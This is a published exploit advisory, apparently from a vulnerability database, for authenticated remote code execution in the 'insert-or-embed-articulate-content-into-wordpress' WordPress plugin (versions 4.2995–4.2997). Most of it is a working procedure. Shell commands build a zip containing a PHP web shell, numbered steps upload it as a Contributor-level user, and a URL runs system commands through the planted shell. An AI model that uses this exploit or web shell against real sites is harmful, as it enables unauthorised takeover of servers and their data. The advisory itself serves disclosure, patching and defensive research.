WordPress Insert Or Embed Articulate Content 4.2997 Remote Code Execution

🗓️ 11 Jun 2019 00:00:00Reported by xulchibalraaType

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Authenticated code execution in 'insert-or-embed-articulate-content-into-wordpress' plugin, allowing remote PHP file executio

`# Exploit Title: Authenticated code execution in `insert-or-embed-articulate-content-into-wordpress` Wordpress plugin  
# Description: It is possible to upload and execute a PHP file using the plugin option to upload a zip archive   
# Date: june 2019  
# Exploit Author: xulchibalraa  
# Vendor Homepage: https://wordpress.org/plugins/insert-or-embed-articulate-content-into-wordpress/  
# Software Link: https://downloads.wordpress.org/plugin/insert-or-embed-articulate-content-into-wordpress.4.2995.zip  
# Version: 4.2995 <= 4.2997   
# Tested on: Wordpress 5.1.1, PHP 5.6   
# CVE : -  
  
  
## 1. Create a .zip archive with 2 files: index.html, index.php  
  
echo "<html>hello</html>" > index.html  
echo "<?php echo system($_GET['cmd']); ?>" > index.php  
zip poc.zip index.html index.php   
  
## 2. Log in to wp-admin with any user role that has access to the plugin functionality (by default even `Contributors` role have access to it)  
## 3. Create a new Post -> Select `Add block` -> E-Learning -> Upload the poc.zip -> Insert as: Iframe -> Insert (just like in tutorial https://youtu.be/knst26fEGCw?t=44 ;)  
## 4. Access the webshell from the URL displayed after upload similar to   
  
http://website.com/wp-admin/uploads/articulate_uploads/poc/index.php?cmd=whoami  
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11 Jun 2019 00:00Current

0.3Low risk

Vulners AI Score0.3